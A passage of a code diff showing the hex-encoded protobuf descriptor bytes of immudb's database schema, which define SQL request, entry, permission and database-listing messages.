0x74, 0x52, + 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, + 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, + 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x0e, + 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, + 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, + 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x87, 0x07, + 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, + 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, + 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, + 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, + 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, + 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, + 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, + 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, + 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, + 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, + 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, + 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, + 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, + 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x1a, + 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, + 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, + 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, + 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, + 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, + 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, + 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, + 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, + 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, + 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, + 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, + 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x56, 0x32, 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, + 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, 0x0a, 0x09, + 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, - 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, - 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x21, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, - 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, - 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, - 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, - 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, - 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, - 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, - 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, - 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, - 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, - 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, - 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, - 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, - 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, - 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, - 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, - 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x69, 0x6e, 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, + 0x87, 0x01, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, + 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x21, 0x0a, 0x05, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x4e, 0x0a, 0x12, + 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, + 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, + 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, + 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, + 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, + 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, + 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, + 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, + 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, + 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, + 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, + 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, + 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, + 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, + 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, + 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, + 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, + 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, + 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 